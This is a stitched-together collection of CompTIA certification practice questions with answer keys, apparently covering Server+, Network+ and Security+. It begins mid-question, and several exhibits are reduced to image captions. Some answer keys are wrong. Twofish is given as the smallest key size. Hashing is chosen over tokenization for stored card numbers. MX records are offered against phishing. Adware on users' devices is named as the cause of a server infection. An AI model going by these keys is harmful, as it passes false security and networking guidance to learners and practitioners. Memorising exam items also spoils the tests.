D. Template
Correct Answer: D

 

QUESTION 11
A user cannot save large files to a directory on a Linux server that was accepting smaller files a few minutes ago. Which
of the following commands should a technician use to identify the issue?
A. pvdisplay
B. mount
C. df -h
D. fdisk -l
Correct Answer: C

 

QUESTION 12
A server is performing slowly, and users are reporting issues connecting to the application on that server. Upon
investigation, the server administrator notices several unauthorized services running on that server that are successfully
communicating to an external site. Which of the following are MOST likely causing the issue? (Choose two.)
A. Adware is installed on the users\\’ devices
B. The firewall rule for the server is misconfigured
C. The server is infected with a virus
D. Intrusion detection is enabled on the network
E. Unnecessary services are disabled on the server
F. SELinux is enabled on the server
Correct Answer: AC

 

QUESTION 13
An administrator is configuring a server that will host a high-performance financial application. Which of the following
disk types will serve this purpose?
A. SAS SSD
B. SATA SSD
C. SAS drive with 10000rpm
D. SATA drive with 15000rpm
Correct Answer: A
Reference: https://www.hp.com/us-en/shop/tech-takes/sas-vs-sata

 

QUESTION 14
An administrator is sizing a new server that will run a 1TB database. One of the processor options is the size of the L2
cache. The administrator picks the processor with the least amount of L2 cache. Which of the following is an outcome of
this selection?
A. The processor will be faster with a lower L2 cache, speeding up database access times.
B. The database will be slower because of a lower amount of cache hits.
C. Database access does not rely on cache, so there will be no difference in performance.
D. The cost of the processor will be higher.
Correct Answer: B

 

QUESTION 15
Ann, an administrator, is configuring a two-node cluster that will be deployed. To check the cluster\\’s functionality, she
shuts down the active node. Cluster behavior is as expected, and the passive node is now active. Ann powers on the
server again and wants to return to the original configuration. Which of the following cluster features will allow Ann to
complete this task?
A. Heartbeat
B. Failback
C. Redundancy
D. Load balancing
Correct Answer: B


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QUESTION 1
Which of the following can be used to prevent unauthorized employees from entering restricted areas?
A. Sign-in sheets
B. Video cameras
C. Motion sensors
D. Swipe badges
Correct Answer: D

 

QUESTION 2
A company hires another firm to test the integrity of its information security controls. This is an example of:
A. role separation
B. device hardening
C. risk assessment
D. penetration testing
Correct Answer: D

 

QUESTION 3
Which of the following is an IPv6 address?
A. 00:14:38:05:7B:E5
B. 10.10.1.1
C. 192.168.1.1
D. 2001:cdba::3257:9652
Correct Answer: D

 

QUESTION 4
A technician is performing a site survey in an area of a university where both faculty and students are reporting poor
performance of their wireless connections. The technician gathers the following data in the problem area: Which of the
following would MOST likely resolve the issue?comptia n10-007 exam questions q4

A. There are too many wireless clients. Increase the number of APs to handle the traffic load.
B. The SNR is not at an acceptable level. Change the channel on the APs.
C. The signal strength is too low. Replace the equipment with devices that have better radio antennas.
D. The channel numbers on some APs are invalid. Switch AP2 and AP3 to use channel 1.
E. The type of antenna is inappropriate for the environment. Switch to 13dBi Yagi antennas.
Correct Answer: B

 

QUESTION 5
Which of the following IP addresses would be classified as private?
A. 10.100.200.0
B. 169.253.10.20
C. 172.168.5.0
D. 200.100.25.0
Correct Answer: A

 

QUESTION 6
Zach, a network technician, is configuring several switches to be managed remotely. Which of the following must be
configured to connect via SSH to each of those devices, as well as to retrieve various parameters?
A. PoE settings and VTP configuration
B. SNMP configuration only
C. IP address and SNMP configuration
D. QoS and PoE settings
Correct Answer: C

 

QUESTION 7
Which of the following VPN technologies should a network technician utilize to tunnel IPv6 traffic and multicast over an
IPv4 WAN link?
A. AH
B. DTLS
C. SSL
D. GRE
Correct Answer: D

 

QUESTION 8
Joe, a network technician, has received a report that one of his clients is experiencing an issue connecting to the
network. Joe observes two clients are connected to a hub, which is connected to separate wall jacks. Which of the
following has MOST likely occurred?
A. Switching loop
B. ARP cache poisoning
C. Improperly tagged ports
D. Wrong VLAN assignment
E. Duplicate IP addresses
Correct Answer: A

 

QUESTION 9
Which of the following DNS records allows for reverse lookup of a domain?
A. PTR
B. AAAA
C. A
D. MX
Correct Answer: A

 

QUESTION 10
Multiple users are experiencing slow performance when downloading large files from a specific site. Which of the
following should the technician do to check the connection to the external site?
A. Check the latency by running a continuous ping to the site.
B. Perform the ipconfig/flushdns command on the affected users\\’ PCs.
C. Run a speedtest from a user\\’s PC to a site on the Internet.
D. Verify if there is MTU mismatch in the path to the site.
Correct Answer: A

 

QUESTION 11
A network technician is troubleshooting a connectivity issue with Joe, a user. Joe has reported that when he attempts to
RDP to machine1 (192.168.21.21) by name, he is connected to machine3 (192.168.21.23). When the network
technician runs the command nslookup machine1, it returns the IP address 192.168.21.23; but when the ping –a
192.168.21.23 command is run, the results return the hostname machine3. Which of the following DNS records should
be updated to allow RDP connections to machine1 by hostname?
A. A
B. SRV
C. PTR
D. TXT
Correct Answer: A

 

QUESTION 12
In the past, users brought personal laptops to the office to bypass some of the security protocols on their desktops. Due
to new security initiatives, management has asked that users not be allowed to attach personal devices to the network.
Which of the following should a technician use to BEST meet this goal?
A. Shut down unused ports on switches
B. Upgrade firmware on network devices
C. Allow only secure protocols on the network
D. Disable unnecessary services
Correct Answer: C

 

QUESTION 13
A user claims to have no Internet access but can access local resources. A technician determines the issue is with a
configuration because a ping to a working public website shows a response that starts with:
Ping request could not find host
Which of the following is the MOST likely misconfiguration?
A. Incorrect netmask
B. DNS
C. DHCP
D. SSL certificate
Correct Answer: B

 

QUESTION 14
Which of the following WAN technologies is MOST preferred when developing a VoIP system with 23 concurrent
channels?
A. DSL
B. POTS
C. T1
D. DOCSIS
Correct Answer: C

 

QUESTION 15
A network administrator is going to be performing a major upgrade to the network. Which of the following should the
administrator use in case of a failure?
A. Baseline report
B. Vulnerability report
C. Rollback plan
D. Business continuity plan
Correct Answer: C


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Latest update CompTIA SY0-601 exam questions and answers online practice test

QUESTION 1
A document that appears to be malicious has been discovered in an email that was sent to a company\\’s Chief
Financial Officer (CFO). Which of the following would be BEST to allow a security analyst to gather information and
confirm it is a malicious document without executing any code it may contain?
A. Open the document on an air-gapped network
B. View the document\\’s metadata for origin clues
C. Search for matching file hashes on malware websites D. Detonate the document in an analysis sandbox
Correct Answer: D

 

QUESTION 2
A smart retail business has a local store and a newly established and growing online storefront. A recent storm caused
a power outage to the business and the local ISP, resulting in several hours of lost sales and delayed order processing.
The business owner now needs to ensure two things:
1.
Protection from power outages
2.
Always-available connectivity In case of an outage
The owner has decided to implement battery backups for the computer equipment Which of the following would BEST
fulfill the owner\\’s second need?
A. Lease a point-to-point circuit to provide dedicated access.
B. Connect the business router to its own dedicated UPS.
C. Purchase services from a cloud provider for high availability
D. Replace the business\\’s wired network with a wireless network.
Correct Answer: C

 

QUESTION 3
A security analyst has been asked to investigate a situation after the SOC started to receive alerts from the SIEM. The
analyst first looks at the domain controller and finds the following events:comptia sy0-601 exam questions q3

To better understand what is going on, the analyst runs a command and receives the following output:

comptia sy0-601 exam questions q3-1

Based on the analyst\\’s findings, which of the following attacks is being executed?
A. Credential harvesting
B. Keylogger
C. Brute-force
D. Spraying
Correct Answer: D

 

QUESTION 4
Phishing and spear-phishing attacks have been occurring more frequently against a company\\’s staff. Which of the
following would MOST likely help mitigate this issue?
A. DNSSEC and DMARC
B. DNS query logging
C. Exact mail exchanger records in the DNS
D. The addition of DNS conditional forwarders
Correct Answer: C


QUESTION 5
A security analyst is reviewing information regarding recent vulnerabilities. Which of the following will the analyst MOST
likely consult to validate which platforms have been affected?
A. OSINT
B. SIEM
C. CVSS
D. CVE
Correct Answer: D

 

QUESTION 6
A local coffee shop runs a small WiFi hotspot for its customers that utilizes WPA2-PSK. The coffee shop would like to
stay current with security trends and wants to implement WPA3 to make its WiFi even more secure. Which of the
following technologies will the coffee shop MOST likely use in place of PSK?
A. WEP
B. MSCHAP
C. WPS
D. SAE
Correct Answer: D

 

QUESTION 7
A security analyst is investigating an incident that was first reported as an issue connecting to network shares and the
Internet. While reviewing logs and tool output, the analyst sees the following:comptia sy0-601 exam questions q7

Which of the following attacks has occurred?
A. IP conflict
B. Pass-the-hash
C. MAC flooding
D. Directory traversal
E. ARP poisoning
Correct Answer: E

 

QUESTION 8
A website developer is working on a new e-commerce website and has asked an information security expert for the
most appropriate way to store credit card numbers to create an easy reordering process. Which of the following
methods would BEST accomplish this goal?
A. Salting the magnetic strip information
B. Encrypting the credit card information in transit.
C. Hashing the credit card numbers upon entry.
D. Tokenizing the credit cards in the database
Correct Answer: C

 

QUESTION 9
A company is implementing MFA for all applications that store sensitive data. The IT manager wants MFA to be nondisruptive and user friendly. Which of the following technologies should the IT manager use when implementing MFA?
A. One-time passwords
B. Email tokens
C. Push notifications D. Hardware authentication
Correct Answer: C

 

QUESTION 10
After reading a security bulletin, a network security manager is concerned that a malicious actor may have breached the
network using the same software flaw. The exploit code is publicly available and has been reported as being used
against other industries in the same vertical. Which of the following should the network security manager consult FIRST
to determine a priority list for forensic review?
A. The vulnerability scan output
B. The IDS logs
C. The full packet capture data
D. The SIEM alerts
Correct Answer: A

 

QUESTION 11
A network engineer is troubleshooting wireless network connectivity issues that were reported by users. The issues are
occurring only in the section of the building that is closest to the parking lot. Users are intermittently experiencing slow
speeds when accessing websites and are unable to connect to network drives. The issues appear to increase when
laptop users return desks after using their devices in other areas of the building. There have also been reports of users
being required to enter their credentials on web pages in order to gain access to them. Which of the following is the
MOST likely cause of this issue?
A. An external access point is engaging in an evil-twin attack.
B. The signal on the WAP needs to be increased in that section of the building.
C. The certificates have expired on the devices and need to be reinstalled.
D. The users in that section of the building are on a VLAN that is being blocked by the firewall.
Correct Answer: A

 

QUESTION 12
A cybersecurity department purchased o new PAM solution. The team is planning to randomize the service account
credentials of the Windows server first. Which of the following would be the BEST method to increase the security on
the Linux server?
A. Randomize the shared credentials
B. Use only guest accounts to connect.
C. Use SSH keys and remove generic passwords
D. Remove all user accounts.
Correct Answer: C

 

QUESTION 13
Which of the following algorithms has the SMALLEST key size?
A. DES
B. Twofish
C. RSA
D. AES
Correct Answer: B

 

QUESTION 14
A network administrator needs to build out a new datacenter, with a focus on resiliency and uptime. Which of the
following would BEST meet this objective? (Choose two.)
A. Dual power supply
B. Off-site backups
C. Automatic OS upgrades
D. NIC teaming
E. Scheduled penetration testing
F. Network-attached storage
Correct Answer: AB

 

QUESTION 15
Which of the following would be BEST to establish between organizations that have agreed cooperate and are engaged
in early discussion to define the responsibilities of each party, but do not want to establish a contractually binding
agreement?
A. An SLA
B. AnNDA
C. ABPA
D. AnMOU
Correct Answer: D


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Latest update CompTIA SY0-501 exam questions and answers online practice test

QUESTION 1
A systems administrator wants to implement a wireless protocol that will allow the organization to authenticate mobile
devices prior to providing the user with a captive portal login. Which of the following should the systems administrator
configure?
A. L2TP with MAC filtering
B. EAP-TTLS
C. WPA2-CCMP with PSK
D. RADIUS federation
Correct Answer: D
RADIUS generally includes 802.1X that pre-authenticates devices.

 

QUESTION 2
An attacker captures the encrypted communication between two parties for a week, but is unable to decrypt the
messages. The attacker then compromises the session key during one exchange and successfully compromises a
single message. The attacker plans to use this key to decrypt previously captured and future communications, but is
unable to. This is because the encryption scheme in use adheres to:
A. Asymmetric encryption
B. Out-of-band key exchange
C. Perfect forward secrecy
D. Secure key escrow
Correct Answer: C

 

QUESTION 3
A security administrator is implementing a new WAF solution and has placed some of the web servers behind the WAF,
with the WAF set to audit mode. When reviewing the audit logs of external requests and posts to the web servers, the
administrator finds the following entry:comptia sy0-501 exam questions q3

Based on this data, which of the following actions should the administrator take?
A. Alert the web server administrators to a misconfiguration.
B. Create a blocking policy based on the parameter values.
C. Change the parameter name `Account_Name\\’ identified in the log.
D. Create an alert to generate emails for abnormally high activity.
Correct Answer: D

 

QUESTION 4
An organization would like to set up a more robust network access system. The network administrator suggests the
organization move to a certificate-based authentication setup in which a client-side certificate is used while connecting.
Which of the following EAP types should be used to meet these criteria?
A. EAP-TLS
B. EAP-FAST
C. EAP-MD5
D. EAP-TTLS
Correct Answer: A

 

QUESTION 5
A security analyst wants to verify that a client-server (non-web) application is sending encrypted traffic. Which of the
following should the analyst use?
A. openssl
B. hping
C. netcat
D. tcpdump
Correct Answer: D

 

QUESTION 6
A security analyst is determining the point of compromise after a company was hacked. The analyst checks the server
logs and sees that a user account was logged in at night, and several large compressed files were exfiltrated. The
analyst then discovers the user last logged in four years ago and was terminated. Which of the following should the
security analyst recommend to prevent this type of attack in the future? (Choose two.)
A. Review and update the firewall settings
B. Restrict the compromised user account
C. Disable all user accounts that are not logged in to for 180 days
D. Enable a login banner prohibiting unauthorized use
E. Perform an audit of all company user accounts
F. Create a honeypot to catch the hacker
Correct Answer: BE

 

QUESTION 7
An analyst generates the following color-coded table shown in the exhibit to help explain the risk of potential incidents in
the company. The vertical axis indicates the likelihood or an incident, while the horizontal axis indicates the impact.comptia sy0-501 exam questions q7

Which of the following is this table an example of?
A. Internal threat assessment
B. Privacy impact assessment
C. Qualitative risk assessment
D. Supply chain assessment
Correct Answer: C

 

QUESTION 8
An organization\\’s employees currently use three different sets of credentials to access multiple internal resources.
Management wants to make this process less complex. Which of the following would be the BEST option to meet this
goal?
A. Transitive trust
B. Single sign-on
C. Federation
D. Secure token
Correct Answer: B

 

QUESTION 9
For each of the given items, select the appropriate authentication category from the drop down choices.comptia sy0-501 exam questions q9

Select the appropriate authentication type for the following items:
Hot Area:

comptia sy0-501 exam questions q9-1

Correct Answer:

comptia sy0-501 exam questions q9-2

Biometrics refers to a collection of physical attributes of the human body that can be used as identification or an
authentication factor. Fingerprints and retinas are physical attributes of the human body.
Two types of tokens exist, Time-based one-time password (TOTP) tokens and HMACbased one-time password
(HOTP). TOTP tokens generate passwords at fixed time intervals, whereas HOTP tokens generate passwords not
based on fixed
time intervals but instead based on a non-repeating one-way function, such as a hash or HMAC operation.
Smart cards can have Multi-factor and proximity authentication embedded into it.
PAP allows for two entities to share a password in advance and use the password as the basis of authentication. The
same goes for PIN numbers.
References:
Stewart, James Michael, CompTIA Security+ Review Guide, Sybex, Indianapolis, 2014, pp. 282, 285
http://en.wikipedia.org/wiki/Password_authentication_protocol#Working_cycle
http://en.wikipedia.org/wiki/Smart_card#Security

 

QUESTION 10
An organization has the following password policies:
Passwords must be at least 16 characters long.
A password cannot be the same as any previous 20 passwords.
Three failed login attempts will lock the account for five minutes.
Passwords must have one uppercase letter, one lowercase letter, and one non- alphanumeric symbol.
A database server was recently breached, and the incident response team suspects the passwords were compromised.
Users with permission on that database server were forced to change their passwords for that server. Unauthorized and
suspicious logins are now being detected on a completely separate server. Which of the following is MOST likely the
issue and the best solution?
A. Some users are reusing passwords for different systems; the organization should scan for password reuse across
systems.
B. The organization has improperly configured single sign-on; the organization should implement a RADIUS server to
control account logins.
C. User passwords are not sufficiently long or complex: the organization should increase the complexity and length
requirements for passwords.
D. The trust relationship between the two servers has been compromised: the organization should place each server on
a separate VLAN.
Correct Answer: A


QUESTION 11
Which of the following BEST explains the difference between a credentialed scan and a non- credentialed scan?
A. A credentialed scan sees devices in the network, including those behind NAT, while a non- credentialed scan sees
outward-facing applications.
B. A credentialed scan will not show up in system logs because the scan is running with the necessary authorization,
while non-credentialed scan activity will appear in the logs.
C. A credentialed scan generates significantly more false positives, while a non-credentialed scan generates fewer false
positives
D. A credentialed scan sees the system the way an authorized user sees the system, while a non- credentialed scan
sees the system as a guest.
Correct Answer: D

 

QUESTION 12
Which of the following controls does a mantrap BEST represent?
A. Deterrent
B. Detective
C. Physical
D. Corrective
Correct Answer: C

 

QUESTION 13
A recent internal audit is forcing a company to review each internal business unit\\’s VMs because the cluster they are
installed on is in danger of running out of computer resources. Which of the following vulnerabilities exist?
A. Buffer overflow
B. End-of-life systems
C. System sprawl
D. Weak configuration
Correct Answer: C

 

QUESTION 14
A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of
users jailbreaking mobile devices?
A. Install a corporately monitored mobile antivirus on the devices.
B. Prevent the installation of applications from a third-party application store.
C. Build a custom ROM that can prevent jailbreaking.
D. Require applications to be digitally signed.
Correct Answer: D

 

QUESTION 15
An audit has revealed that database administrators are also responsible for auditing database changes and backup
logs. Which of the following access control methodologies would BEST mitigate this concern?
A. Time of day restrictions
B. Principle of least privilege
C. Role-based access control
D. Separation of duties
Correct Answer: D


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